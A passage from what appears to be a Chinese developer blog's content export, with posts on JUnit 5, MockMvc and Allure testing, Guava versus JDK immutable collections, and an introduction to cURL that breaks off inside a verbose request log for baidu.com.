用于禁用或忽略测试类或方法 @Nested 用于创建嵌套测试类 @Tag 用于测试发现或过滤的标签来标记测试方法或类 @TestFactory 标记一种方法是动态测试的测试工场 常规套路不说了，比较简单，一看就明白，说几个有意思的。\n重复性测试 1 @RepeatedTest(5) 2 void repeatTest(TestInfo testInfo,RepetitionInfo repetitionInfo){ 3 4 System.out.println(\u0026#34;repeat:\u0026#34; + testInfo.getDisplayName()); 5 System.out.println(\u0026#34;这是第 \u0026#34;+ repetitionInfo.getCurrentRepetition()+ \u0026#34;次重复\u0026#34;); 6 7 } 不用自己写 for 循环了，人家自己带重复的注解，上面两个变量也是自己带的，方便拿到重复信息。\n基于参数测试 1@ParameterizedTest 2@ValueSource(strings = {\u0026#34;java\u0026#34;, \u0026#34;python\u0026#34;, \u0026#34;go\u0026#34;}) 3void containsChar(String candidate) { 4 assertTrue(candidate.contains(\u0026#34;o\u0026#34;)); 5} 如果你的参数少，也不用写循环了，直接写注解里，还挺方便的。\n超时测试 1 @Test 2 @Timeout(value = 500, unit = TimeUnit.MILLISECONDS) 3 void failsIfExecutionTimeExceeds500Milliseconds() { 4 // fails if execution time exceeds 500 milliseconds 5 } 可以设置 超时的单位和时长\n在 assert 中也可以测超时，可以这样写：\n1 // timed out after 5 seconds 2 @Test 3 void test_timeout_fail() { 4 // assertTimeout(Duration.ofSeconds(5), () -\u0026gt; delaySecond(10)); // this will fail 5 6 assertTimeout(Duration.ofSeconds(5), () -\u0026gt; delaySecond(1)); // pass 7 } 8 9 void delaySecond(int second) { 10 try { 11 TimeUnit.SECONDS.sleep(second); 12 } catch (InterruptedException e) { 13 e.printStackTrace(); 14 } 15 } 并行测试 以上测试用例都是用主线程或者单线程跑的，下面我们玩儿个多线程并行 test\n首先你要在你的 classpath 下面建一个文件 junit-platform.properties\n接着加两行配置\n1junit.jupiter.execution.parallel.enabled=true 2junit.jupiter.execution.parallel.mode.default=concurrent 行了，再跑你的用例就是多线程并行执行的了，当然如果用例本来就设计成单线程的看不出来，那可以使用 Repeat 试一下，比如上面讲过的这个：\n1 @RepeatedTest(5) 2 void repeatTest(TestInfo testInfo,RepetitionInfo repetitionInfo){ 3 4 System.out.println(\u0026#34;repeat:\u0026#34; + testInfo.getDisplayName()); 5 System.out.println(\u0026#34;这是第 \u0026#34;+ repetitionInfo.getCurrentRepetition()+ \u0026#34;次重复\u0026#34;); 6 7 } 上面这个是对一个方法的重复执行并行，有时候我们是想让一个类中的多个方法并行，能不能做到？可以，改下配置就好了\n1junit.jupiter.execution.parallel.enabled = true 2junit.jupiter.execution.parallel.mode.default = concurrent 3junit.jupiter.execution.parallel.mode.classes.default = same_thread 如果反过来呢？多个类并行，类中的方法串行 也可以，还是改配置：\n1junit.jupiter.execution.parallel.enabled = true 2junit.jupiter.execution.parallel.mode.default = same_thread 3junit.jupiter.execution.parallel.mode.classes.default = concurrent MockMVC 你测个 service 测个 dao 很简单，把 Bean 注入就可以了，Controller 怎么测？我们要利用下 MockMVC 了\n“\nMockMvc 实现了对 Http 请求的模拟，能够直接使用网络的形式，转换到 Controller 的调用，这样可以使得测试速度快、不依赖网络环境，而且提供了一套验证的工具，这样可以使得请求的验证统一而且很方便。\n”\n我们先看一个简单的例子：\n1import org.junit.jupiter.api.*; 2import org.springframework.beans.factory.annotation.Autowired; 3import org.springframework.boot.test.autoconfigure.web.servlet.AutoConfigureMockMvc; 4import org.springframework.boot.test.context.SpringBootTest; 5import org.springframework.test.web.servlet.MockMvc; 6import static org.hamcrest.Matchers.containsString; 7import static org.junit.jupiter.api.Assertions.assertTrue; 8import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get; 9import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print; 10import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.content; 11import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; 12 13@SpringBootTest 14@AutoConfigureMockMvc 15class HelloControllerTest { 16 17 @Autowired 18 private MockMvc mockMvc; 19 20 @Autowired 21 private HelloController helloController; 22 23 @Test 24 public void shouldReturnDefaultMessage() throws Exception { 25 26 this.mockMvc.perform(get(\u0026#34;/hello\u0026#34;)) 27 .andDo(print()) 28 .andExpect(status().isOk()) 29 .andExpect(content().string(containsString(\u0026#34;Hello World\u0026#34;))); 30 } 31 } 解释下没见过的注解：\n@AutoConfigureMockMvc：用于自动配置 MockMvc, 配置后 MockMvc 类可以直接注入 此外我们利用 @Autowired 注入了一个 MockMvc 的 Bean 实例。我们通过这个例子来模拟请求 /hello 这个 Controller 资源，并且通过判断返回的 content 内容是否包含 Hello World 字符串来决定这个用例的执行是否成功。\n注意 imports 部分，我们导入了 MockMvcRequestBuilders 的一些静态方法。整个方法就一行代码，解释一下：\nperform : 执行一个请求 andDo : 添加一个结果处理器，表示要对结果做点什么事情，比如此处使用 print()：输出整个响应结果信息 andExpect : 添加执行完成后的断言 我们看下执行结果：\n1MockHttpServletRequest: 2 HTTP Method = GET 3 Request URI = /hello 4 Parameters = {} 5 Headers = [] 6 Body = null 7 Session Attrs = {} 8 9Handler: 10 Type = com.xiaobox.springbootdemo.controller.HelloController 11 Method = com.xiaobox.springbootdemo.controller.HelloController#hello(String) 12 13Async: 14 Async started = false 15 Async result = null 16 17Resolved Exception: 18 Type = null 19 20ModelAndView: 21 View name = null 22 View = null 23 Model = null 24 25FlashMap: 26 Attributes = null 27 28MockHttpServletResponse: 29 Status = 200 30 Error message = null 31 Headers = [Content-Type:\u0026#34;text/plain;charset=UTF-8\u0026#34;, Content-Length:\u0026#34;12\u0026#34;] 32 Content type = text/plain;charset=UTF-8 33 Body = Hello World! 34 Forwarded URL = null 35 Redirected URL = null 36 Cookies = [] 我们来看下一个例子\n1 2@WebMvcTest 3class HelloControllerTest { 4 5 @Autowired 6 private MockMvc mockMvc; 7 8 @Autowired 9 private HelloController helloController; 10 11 @Test 12 public void shouldReturnDefaultMessage() throws Exception { 13 14 this.mockMvc.perform(get(\u0026#34;/hello\u0026#34;)) 15 .andDo(print()) 16 .andExpect(status().isOk()) 17 .andExpect(content().string(containsString(\u0026#34;Hello World\u0026#34;))); 18 } 19 } 你发现我们只是把 class 头上的注解换成了 @WebMvcTest，其实的没变，是的。但却比上一段代码快 3 倍。为什么？\n因为之前的写法会把 Spring 完整的应用上下文全启动了，而 @WebMvcTest 是将测试范围缩小到仅启动 web 层，所以会快。当你只想测试 http 到 controller 这层的时候，可以用 @WebMvcTest 注解。\n你甚至还可以告诉框架只启动某一个 controller 这样更快，比如：@WebMvcTest(HomeController.class)\n上面是 WebMvcTest 的第一个场景， 我们来看第二个场景：也是测 controller ，但 controller 调用的 service 我们也 mock，不走真正 service 代码逻辑。这在有时你的 service 没准备好，或者不方便直接调用时会很有用。\n1@WebMvcTest 2class HelloControllerTest { 3 4 @Autowired 5 private MockMvc mockMvc; 6 7 @Autowired 8 private HelloController helloController; 9 10 @Test 11 public void greetingShouldReturnMessageFromService() throws Exception { 12 13 Mockito.when(service.greet()).thenReturn(\u0026#34;Hello, Mock\u0026#34;); 14 15 this.mockMvc.perform(get(\u0026#34;/greeting\u0026#34;)).andDo(print()).andExpect(status().isOk()) 16 .andExpect(content().string(containsString(\u0026#34;Hello, Mock\u0026#34;))); 17 } 18 19 } 上面的代码我们用到了 Mockito， 可能你听过周杰伦一首新歌叫 Mojito ，对，Mockito 的命名就是对 Mojito（一种传统的古巴高球鸡尾酒）的戏称\n简单来说 Mockito 是一个 java 做单元测试的 Mock 框架：https://site.mockito.org/\n解释下我们上面这行代码 Mockito.when(service.greet()).thenReturn(\u0026quot;Hello, Mock\u0026quot;);\n意为：当调用 service 的 greet 方法的时候，返回值为 “Hello Mock”，其实没真调那个方法，就是 Mock 了一下，直接给了个返回值。用英文说就是 ：When the x method is called then return y\n当然 Mockito 在假造上是很有实力的，它有丰富的 API 供你组合使用，有兴趣可以看一看文档和源码注释。\n讲到这儿，一定有同学会问，只测 Controller ，那我就用 Postman 就行 了，甚至 curl 都行，为啥要写用例，我不写用例。\n哈哈，我相信很多后端同学都没认认真真把用例写完，尤其是 controller 这层的，不装逼，我也是。那我们有必要讨论一下 到底是用 Postman 还是用 MockMVC ？\n首先说说 MockMVC 的好处：\n可编程，这就给了你无限的自由空间，想怎么折腾随便你，你是上帝 除了写的时候花点时间外，调试的时候速度快，而且可配置，你要想只测 controller，就只启动 controller 的上下文就行了 顺便把测试用例写了，测试同学省心了，给自动化测试提供了基础 间接提高代码质量 其他的我不说，我就说最后一点。我注意到一个现象，很多开发同学拿测试同学当工具人，自己写的代码自己不怎么测试，直接交给测试让他们提 BUG，然后改，BUG 多也不觉得害臊。开发是爽了，由于代码质量差，整个项目的进度都被拖慢了。你可能会说这是软件质量管理的问题，是规则制定的有问题，如果出 BUG 扣钱就没这事儿了。\n我要说的是，在软件开发这个领域，很多事情不是刻板的死规则，即便是制定了这样的规则，也不一定有效。更多的时候是整个团队的文化和风气，领导者有责任将整个研发团队的文化和风气带向正轨。什么是正轨 ？其实我们都知道！我们都知道应该写高质量的代码，bug 少的代码，设计合理的代码，不断重构、不断维护的代码，我们都知道要做好自己的事就会提高整个团队的效率，我们都知道应该写注释、写文档，我们都知道\u0026hellip;..\n我们都知道，但我们也知道项目时间紧，而且专门有人一遍遍强调 deadLine ，有人关心你的开发进度，关心功能实现了没有，关心老板有没有意见，没有人关心你累不累，关心你几点下的班，关心规划合不合理，关心代码质量高不高，关心与软件真正有关系的一切。所以做一个真正的 软件研发团队的 Leader 不容易，遇到好 Leader 是你的福气。\n扯多了，我们回头来看 Postman ,Postman 的好处好像也不用我多说了，确实，如果只是简单的做 Controller 连通测试，用 Postman 一点儿问题没有，也比写程序快，但如果你的需求时有正好是 MockMVC 的优点可以覆盖的地方，那么就动动手，写写程序吧。\n测试报告 想成一份漂亮的测试报告 ？后端同学说了，整那花里胡哨的有啥用呢，简单一点儿不好吗？\n好，简单点儿当然可以，但 UI 带给我们的价值不就是一图胜千言嘛，让无论是前端、后端、测试同学都能一目了然，减轻大脑处理信息的成本。\n来，我们先上成果\n怎么样，还挺好看的吧，我们用的是 Allure 来生成了一个 web 页面，这个页面还有一些简单的交互，整体简洁好看、易用。\n下面我们说一下 Allure 怎么和 JUnit 集成的\n我们仍然使用 SpringBoot 以及 JUnit 5 ，先修改一下 pom.xml 文件，添加依赖\n1 \u0026lt;dependency\u0026gt; 2 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;spring-boot-starter-test\u0026lt;/artifactId\u0026gt; 4 \u0026lt;scope\u0026gt;test\u0026lt;/scope\u0026gt; 5 \u0026lt;exclusions\u0026gt; 6 \u0026lt;exclusion\u0026gt; 7 \u0026lt;groupId\u0026gt;org.junit.vintage\u0026lt;/groupId\u0026gt; 8 \u0026lt;artifactId\u0026gt;junit-vintage-engine\u0026lt;/artifactId\u0026gt; 9 \u0026lt;/exclusion\u0026gt; 10 \u0026lt;/exclusions\u0026gt; 11\u0026lt;/dependency\u0026gt; 12 \u0026lt;!--测试报告 allure --\u0026gt; 13 \u0026lt;dependency\u0026gt; 14 \u0026lt;groupId\u0026gt;io.qameta.allure\u0026lt;/groupId\u0026gt; 15 \u0026lt;artifactId\u0026gt;allure-junit5\u0026lt;/artifactId\u0026gt; 16 \u0026lt;version\u0026gt;2.18.1\u0026lt;/version\u0026gt; 17 \u0026lt;scope\u0026gt;test\u0026lt;/scope\u0026gt; 18 \u0026lt;/dependency\u0026gt; 然而我们添加在 build 中两个 plugin\n1 \u0026lt;plugin\u0026gt; 2 \u0026lt;artifactId\u0026gt;maven-surefire-plugin\u0026lt;/artifactId\u0026gt; 3 \u0026lt;version\u0026gt;2.21.0\u0026lt;/version\u0026gt; 4 \u0026lt;configuration\u0026gt; 5 \u0026lt;testFailureIgnore\u0026gt;false\u0026lt;/testFailureIgnore\u0026gt; 6 \u0026lt;argLine\u0026gt; 7 -javaagent:\u0026#34;${settings.localRepository}/org/aspectj/aspectjweaver/${aspectj.version}/aspectjweaver-${aspectj.version}.jar\u0026#34; 8 \u0026lt;/argLine\u0026gt; 9 \u0026lt;systemProperties\u0026gt; 10 \u0026lt;property\u0026gt; 11 \u0026lt;name\u0026gt;junit.jupiter.extensions.autodetection.enabled\u0026lt;/name\u0026gt; 12 \u0026lt;value\u0026gt;true\u0026lt;/value\u0026gt; 13 \u0026lt;/property\u0026gt; 14 \u0026lt;/systemProperties\u0026gt; 15 \u0026lt;/configuration\u0026gt; 16 \u0026lt;dependencies\u0026gt; 17 \u0026lt;dependency\u0026gt; 18 \u0026lt;groupId\u0026gt;org.junit.platform\u0026lt;/groupId\u0026gt; 19 \u0026lt;artifactId\u0026gt;junit-platform-surefire-provider\u0026lt;/artifactId\u0026gt; 20 \u0026lt;version\u0026gt;1.2.0\u0026lt;/version\u0026gt; 21 \u0026lt;/dependency\u0026gt; 22 \u0026lt;dependency\u0026gt; 23 \u0026lt;groupId\u0026gt;org.aspectj\u0026lt;/groupId\u0026gt; 24 \u0026lt;artifactId\u0026gt;aspectjweaver\u0026lt;/artifactId\u0026gt; 25 \u0026lt;version\u0026gt;${aspectj.version}\u0026lt;/version\u0026gt; 26 \u0026lt;/dependency\u0026gt; 27 \u0026lt;/dependencies\u0026gt; 28 29 \u0026lt;/plugin\u0026gt; 30 \u0026lt;plugin\u0026gt; 31 \u0026lt;groupId\u0026gt;io.qameta.allure\u0026lt;/groupId\u0026gt; 32 \u0026lt;artifactId\u0026gt;allure-maven\u0026lt;/artifactId\u0026gt; 33 \u0026lt;version\u0026gt;2.11.2\u0026lt;/version\u0026gt; 34 \u0026lt;configuration\u0026gt; 35 \u0026lt;reportVersion\u0026gt;2.4.1\u0026lt;/reportVersion\u0026gt; 36 \u0026lt;/configuration\u0026gt; 37 \u0026lt;/plugin\u0026gt; 我们用 brew 在本地安装一下 Allure （我是 mac 就用这个装了，如果你是其他环境参考后面说的文档）\n1brew install allure 接着我们调整项目中的测试用例，然后执行：\n1mvn clean test 接着找到你项目中 surefire-reports 的目录位置\n然后执行类似如下命令：\n1# 注意路径改成你自己项目的，这里只是示例 2allure serve /home/path/to/project/target/surefire-reports/ 显示如下信息会自动跳转到浏览器，打开测试报告页面。\n是不是很简单？\n有关 Allure 安装和使用说明请参考：https://docs.qameta.io/allure-report\n有关 JUnit5 就聊到这儿，日常一般的开发是够用了。更多的细节和功能，绍假设 、 断言等，请看官方文档 ，当然备不注它也有错的时候。\nTestNG TestNG is a testing framework inspired from JUnit and NUnit but introducing some new functionalities that make it more powerful and easier to use, such as:\nAnnotations. Run your tests in arbitrarily big thread pools with various policies available (all methods in their own thread, one thread per test class, etc\u0026hellip;). Test that your code is multithread safe. Flexible test configuration. Support for data-driven testing (with @DataProvider). Support for parameters. Powerful execution model (no more TestSuite). Supported by a variety of tools and plug-ins (Eclipse, IDEA, Maven, etc\u0026hellip;). Embeds BeanShell for further flexibility. Default JDK functions for runtime and logging (no dependencies). Dependent methods for application server testing. 上面是 TestNG 的官方介绍，看起来比 JUnit 功能还强大。有了前面 Junit 作为引子， 你再看 TestNG，就好理解的多，因为概念上都差不多，只是功能和细节的不同而已。在这里我们不会展开讲 TestNG 了，但是会讨论一下选型的问题。\n如果在 JUnit 5 没出来之前，比如 JUnit4 和 3 的时代，我会毫不犹豫地选择 TestNG，为什么？功能强大，好用啊。但是现在 JUnit5 来了，而且推广的势头也很猛，重要的是从功能上也不输 TestNG，那么怎么选呢？\n个人觉得：\n如果是后端开发，一般还是选 JUnit 5 写单元测试方便简单些，SpringBoot 也内置了 JUnit 开箱即用，从生态和社区上讲即使有坑也好解决些 如果是搞自动化测试的同学，更多的可能还是用 TestNG 方便些，之前很多遗留项目都是用的 TestNG，另外它和自动化测试工具 selenium 的搭配也早已深入人心。从设计理念到 API，都更符合测试同学的思维。 参考 https://testng.org/doc/ https://spring.io/guides/gs/testing-web/ https://cloud.tencent.com/developer/article/1779117 https://blog.csdn.net/qq_39466683/article/details/121911310 https://tonydeng.github.io/2017/10/10/junit-5-annotations/ https://junit.org/junit5/docs/current/user-guide/ https://www.liujiajia.me/2021/5/14/why-exclude-junit-vintage-engine-by-default ","date":"2022-08-02T13:13:24Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-08-02-liao-liao-java-de-dan-yuan-ce-shi/cover.jpg","permalink":"/p/2022-08-02-liao-liao-java-de-dan-yuan-ce-shi/","title":"聊聊 Java 的单元测试"},{"content":"什么是不可变集合 不可变集合，英文叫 immutable，顾名思义就是说集合是不可被修改的。集合的数据项是在创建的时候提供，并且在整个生命周期中都不可改变。\n为什么要用不可变集合？ 第一：防御性编程需要\n我有一个集合，你拿来使用，鬼知道你会不会乱搞，往集合里添加不合适的元素，或者随便删除元素，我不放心，对，就是不信你，我的集合我做主，给你个不可变的吧，这样你就不可能乱搞我的集合了，我就放心了，不担心你的操作给我带来风险 。官方解释：防御，defensive programming，听起来高级不？\n第二：线程安全\n没有买卖就没有杀害！\n集合是不可变的，不让你有变化，不可能有变化。没有变化，就没有竞态条件，多少个线程来都是一个样，安全，就是***安全。\n第三：节省开销\n不需要支持可变性，可以尽量节省空间和时间的开销， 所有的不可变集合实现都比可变集合更加有效的利用内存。\nJDK9 之前的实现 Collections提供了一组方法把可变集合封装成不可变集合：\n但这玩意儿有问题，举个例子：\n1 List\u0026lt;String\u0026gt; list = new ArrayList\u0026lt;String\u0026gt;(); 2 list.add(\u0026#34;a\u0026#34;); 3 list.add(\u0026#34;b\u0026#34;); 4 list.add(\u0026#34;c\u0026#34;); 5 6 List\u0026lt;String\u0026gt; unmodifiableList = Collections.unmodifiableList(list); 7 list.add(\u0026#34;d\u0026#34;); 8 System.out.println(unmodifiableList); 这个输出的结果居然是 [a,b,c,d]\nwhat ? 这不就变了吗，我要的是不可变集合啊，这坑爹的玩意儿。有兄弟说了，那我切断 list 的引用是不就行了？\n1 List\u0026lt;String\u0026gt; list = new ArrayList\u0026lt;String\u0026gt;(); 2 list.add(\u0026#34;a\u0026#34;); 3 list.add(\u0026#34;b\u0026#34;); 4 list.add(\u0026#34;c\u0026#34;); 5 6 List\u0026lt;String\u0026gt; unmodifiableList = Collections.unmodifiableList(list); 7 list.add(\u0026#34;d\u0026#34;); 8 list = null; 9 System.out.println(unmodifiableList); 呵呵，不行，输出仍然是 [a,b,c,d] 果然坑爹，而且你发现没有，编码也比较麻烦，还得用 Collections 间接转一下。\nCollections.unmodifiableList 实现的不是真正的不可变集合，当原始集合修改后，不可变集合也发生变化。此外，它返回的数据结构本质仍旧是原来的集合类，所以它的操作开销，包括并发下修改检查，hash table 里的额外数据空间都和原来的集合是一样的。\n由于这些问题，JDK9 出了些新的生成不可变集合的方法，比如\nList.of Set.of Map.of \u0026hellip;\u0026hellip; 确实可以直接生成不可变集合，编码也比较方便了：\n1 List\u0026lt;String\u0026gt; immutableList= List.of(\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, \u0026#34;c\u0026#34;); 如果你要修改集合会抛出异常 java.lang.UnsupportedOperationException：\n1 immutableList.add(\u0026#34;d\u0026#34;); but\n1 List\u0026lt;String\u0026gt; list = new ArrayList\u0026lt;String\u0026gt;(); 2 list.add(\u0026#34;a\u0026#34;); 3 list.add(\u0026#34;b\u0026#34;); 4 list.add(\u0026#34;c\u0026#34;); 5 6 List\u0026lt;List\u0026lt;String\u0026gt;\u0026gt; list1 = List.of(list); 7 list.add(\u0026#34;d\u0026#34;); 8 System.out.println(list1); 上面代码的输出仍然是 : [a,b,c,d]\n当然我们不是说人家 api 是错的，人家就是这么设计的（爱信不信），可我感觉不爽，如果不小心可能会犯错，本来是防御性编程，搞不好干成跑路性编程了。\n再次强调，不是说人家 JDK 设计错了，人家就是这么设计的，你的明白？当然不爽的还有 google 的工程师们，所以我们下面介绍下拿起键盘自己解决问题的 google 工程师们写的 guava 是怎么解决问题的。\nGuava 来，我们接着上面的那个例子，直接写个 Guava 版本的你自己体会下：\n1 List\u0026lt;String\u0026gt; list = new ArrayList\u0026lt;String\u0026gt;(); 2 list.add(\u0026#34;a\u0026#34;); 3 list.add(\u0026#34;b\u0026#34;); 4 list.add(\u0026#34;c\u0026#34;); 5 6 ImmutableList\u0026lt;String\u0026gt; strings = ImmutableList.copyOf(list); 7 list.add(\u0026#34;d\u0026#34;); 8 9 System.out.println(strings); 输出终于如我所愿的是 : [a,b,c] 了。\n无论是从命名、语义、结果、代码可读性是不是都比 JDK 版本的好很多？这样的代码让我感觉世界又美好了一些。\n美好的东西都想拥有，但问题来了， Guava 针对哪些集合提供了哪些对应的不可变集合类呢，这里我们给大家整理了一下：\n可变集合接口 属于 JDK 还是 Guava 不可变版本 Collection JDK ImmutableCollection List JDK ImmutableList Set JDK ImmutableSet SortedSet/NavigableSet JDK ImmutableSortedSet Map JDK ImmutableMap SortedMap JDK ImmutableSortedMap Multiset Guava ImmutableMultiset SortedMultiset Guava ImmutableSortedMultiset Multimap Guava ImmutableMultimap ListMultimap Guava ImmutableListMultimap SetMultimap Guava ImmutableSetMultimap BiMap Guava ImmutableBiMap ClassToInstanceMap Guava ImmutableClassToInstanceMap Table Guava ImmutableTable 介绍几个方法：\nof 方法，用法是一脉相承的，就是构建集合用的 copyOf ，上面例子中出现过，官方文档上说它是智能的，比如它可以判断参数是不是一个 immutable 对象，这样可以避免做拷贝 JDK10 1 List\u0026lt;String\u0026gt; list = new ArrayList\u0026lt;String\u0026gt;(); 2 list.add(\u0026#34;a\u0026#34;); 3 list.add(\u0026#34;b\u0026#34;); 4 list.add(\u0026#34;c\u0026#34;); 5 6 List\u0026lt;String\u0026gt; strings = List.copyOf(list); 7 8 list.add(\u0026#34;d\u0026#34;); 9 System.out.println(strings); 以上代码在 JDK10 以上版本输出 ：[a,b,c]，主要是因为 copyOf 方法是 10 以上版本才有的。\n你看，JDK 也一直在进步，所以如果你用的是 JDK10 以及上版本，是不是要用 Guava 在这个具体功能点上就是可选的了。\n最后 整体对比起来，我的个人感觉是在不可变集合的操作上 Guava 的 API 更好用一些，当然库的使用因人而异，用 JDK 原生的也没毛病，毕竟依赖更少，学习成本也小。\n我们总说要改革、要进步，而真正的改革往往都不是自上而下的，很多都是自下而上的被推动着前进 ，如果没有 Guava，没有开源社区的很多优秀的库和组件，JDK 会不会把这些优秀的建议吸取进来？我不知道，但至少 JAVA 也一直在进步，也希望它越来越好。\n","date":"2022-07-29T14:21:28Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-07-29-gen-zhe-guava-xue-java-zhi-bu-ke-bian-ji-he/cover.jpg","permalink":"/p/2022-07-29-gen-zhe-guava-xue-java-zhi-bu-ke-bian-ji-he/","title":"跟着 Guava 学 Java 之 不可变集合"},{"content":"\n认识 cURL “\nA command line tool and library for transferring data with URL syntax, supporting DICT, FILE, FTP, FTPS, GOPHER, GOPHERS, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, MQTT, POP3, POP3S, RTMP, RTMPS, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET and TFTP. libcurl offers a myriad of powerful features\n”\ncurl 是常用的开源命令行工具，用来请求 Web 服务器。它的名字就是客户端（client）的 URL 工具的意思。它的功能非常强大，命令行参数多达几十种。它支持包括 FTP、HTTP、HTTPS、FTP、SCP，SFTP 数十种协议。如能熟练使用，可以在很多应用场景下，发挥巨大的价值。\ncURL 的使用 代替 Postman ? 1curl https://www.baidu.com 如上命令，不带有任何参数时，curl 就是发出 GET 请求，服务器返回的内容会在命令行输出。当然，你还可以为其添加各种参数（如 -A、-b、-c、-d、-e、-F、-H 等等），使得可以完成更多复杂任务；\n其实，如果只是简单的 Post、Get 请求，用 cURL 做像接口测试的工作是非常方便的。\n有人说了，Postman 它不香吗？\n是的，挺香的，但是当你在环境受限的情况下，比如 在 linux 服务器上想测试一下接口通不通没有 Postman 怎么办？\n这时候 cURL 就体现出它的价值了。此外贴心的 Postman，还为我们提供了各种语言和 cURL 的 snippet，方便你在 Postman 编辑完成后直接拿走开发和调试使用。\n如上图，你直接 copy 内容，然后在命令行执行就可以了。\n小工具了解一下 jsonplaceholder http://jsonplaceholder.typicode.com/\n免费的 HTTP 请求假数据接口，前端同学可以了解一下\n不需引入外部 js 文件。 同时支持 http 和 https 请求。 同时支持 post 请求和 get 请求。 看看 cookie? 1curl -b cookies.txt https://www.youku.com 上面命令将服务器的 HTTP 回应所设置 Cookie 写入文本文件 cookies.txt。\n上传个文件？ 网站中上传文件功能很普遍，然而你是怎么调试的呢？\n打开页面，选择文件后再点击上传按钮？然后 F12 看看 Request、Response? 或者打开 Postman 进行类似步骤？\n可真够麻烦的。用 cURL 一行命令搞定\n这里先介绍一下 -v 参数：\n“\n使用 -v 参数使 curl 打印有关请求和响应的详细信息。以 \u0026gt; 为前缀的行是发送给服务器的数据，以 \u0026lt; 为前缀的行是从服务器接收的数据，以 * 开头的行是杂项信息，如连接信息、SSL 握手信息、协议信息等。\n”\n我们看个例子，搞下百度：\n1❯ curl -v https://www.baidu.com 2* Trying 110.242.68.3:443... 3* Connected to www.baidu.com (110.242.68.3) port 443 (#0) 4* ALPN: offers h2 5* ALPN: offers http/1.1 6* TLSv1.3 (OUT), TLS handshake, Client hello (1): 7* TLSv1.3 (IN), TLS handshake, Server hello (2): 8* TLSv1.2 (IN), TLS handshake, Certificate (11): 9* TLSv1.2 (IN), TLS handshake, Server key exchange (12): 10* TLSv1.2 (IN), TLS handshake, Server finished (14): 11* TLSv1.2 (OUT), TLS handshake, Client key exchange (16): 12* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): 13* TLSv1.2 (OUT), TLS handshake, Finished (20): 14* TLSv1.2 (IN), TLS handshake, Finished (20): 15* SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256 16* ALPN: server accepted http/1.1 17* Server certificate: 18* subject: C=CN; ST=beijing; L=beijing; OU=service operation department; O=Beijing Baidu Netcom Science Technology Co., Ltd; CN=baidu.com 19* start date: Jul 5 05:16:02 2022 GMT 20* expire date: Aug 6 05:16:01 2023 GMT 21* subjectAltName: host \u0026#34;www.baidu.com\u0026#34; matched cert\u0026#39;s \u0026#34;*.baidu.com\u0026#34; 22* issuer: C=BE; O=GlobalSign nv-sa; CN=GlobalSign RSA OV SSL CA 2018 23* SSL certificate verify ok. 24\u0026gt; GET / HTTP/1.1 25\u0026gt; Host: www.baidu.com 26\u0026gt; User-Agent: curl/7.83.1 27\u0026gt; Accept: */* 28\u0026gt; 29* Mark bundle as not supporting multiuse 30\u0026lt; HTTP/1.1 200 OK 31\u0026lt; Accept-Ranges: bytes 32\u0026lt; Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform 33\u0026lt; Connection: keep-alive 34\u0026lt; Content-Length: 2443 35\u0026lt; Content-Type: text/html 36\u0026lt; Date: Fri, 22 Jul 2022 10:03:09 GMT 37\u0026lt; Etag: \u0026#34;588603e2-98b\u0026#34; 38\u0026lt; Last-Modified: Mon, 23 Jan 2017 13:23:46 GMT 39\u0026lt; Pragma: no-cache 40\u0026lt; Server: bfe/1.0.8.18 41\u0026lt; Set-Cookie: BDORZ=27315; max-age=86400; domain=.baidu.com; path=/ 42\u0026lt; 43\u0026lt;!DOCTYPE html\u0026gt; 44\u0026lt;!--STATUS OK--\u0026gt;\u0026lt;html\u0026gt; \u0026lt;head\u0026gt;\u0026lt;meta http-equiv=content-type content=text/html;charset=utf-8\u0026gt;\u0026lt;meta http-equiv=X-UA-Compatible content=IE=Edge\u0026gt;\u0026lt;meta content=always name=referrer\u0026gt;\u0026lt;link rel=stylesheet type=text/css href=https://ss1.bdstatic.com/5eN1bjq8AAUYm2zgoY3K/r/www/cache/bdorz/baidu.min.css\u0026gt;\u0026lt;title\u0026gt;百度一下，你就知道\u0026lt;/title\u0026gt;\u0026lt;/head\u0026gt; \u0026lt;body link=#0000cc\u0026gt; \u0026lt;div id=wrapper\u0026gt; \u0026lt;div id=head\u0026gt; \u0026lt;div class=head_wrapper\u0026gt; \u0026lt;div class=s_form\u0026gt; \u0026lt;div class=s_form_wrapper\u0026gt; \u0026lt;div id=lg\u0026gt; \u0026lt;img hidefocus=true src=//www.baidu.com/img/bd_logo1.png width=270 height=129\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;form id=form name=f action=//www.baidu.com/s class=fm\u0026gt; \u0026lt;input type=hidden name=bdorz_come value=1\u0026gt; \u0026lt;input type=hidden name=ie value=utf-8\u0026gt; \u0026lt;input type=hidden name=f value=8\u0026gt; \u0026lt;input type=hidden name=rsv_bp value=1\u0026gt; \u0026lt;input type=hidden name=rsv_idx value=1\u0026gt; \u0026lt;input type=hidden name=tn value=baidu\u0026gt;\u0026lt;span class=\u0026#34;bg s_ipt_wr\u0026#34;\u0026gt;\u0026lt;input id=kw name=wd class=s_ipt value maxlength=255 autocomplete=off autofocus=autofocus\u0026gt;\u0026lt;/span\u0026gt;\u0026lt;span class=\u0026#34;bg s_btn_wr\u0026#34;\u0026gt;\u0026lt;input type=submit id=su value=百度一下 class=\u0026#34;bg s_btn\u0026#34; autofocus\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div id=u1\u0026gt; \u0026lt;a href=http://news.baidu.com name=tj_trnews class=mnav\u0026gt;新闻\u0026lt;/a\u0026gt; \u0026lt;a href=https://www.hao123.com name=tj_trhao123 class=mnav\u0026gt;hao123\u0026lt;/a\u0026gt; \u0026lt;a href=http://map.baidu.com name=tj_trmap class=mnav\u0026gt;地图\u0026lt;/a\u0026gt; \u0026lt;a href=http://v.baidu.com name=tj_trvideo 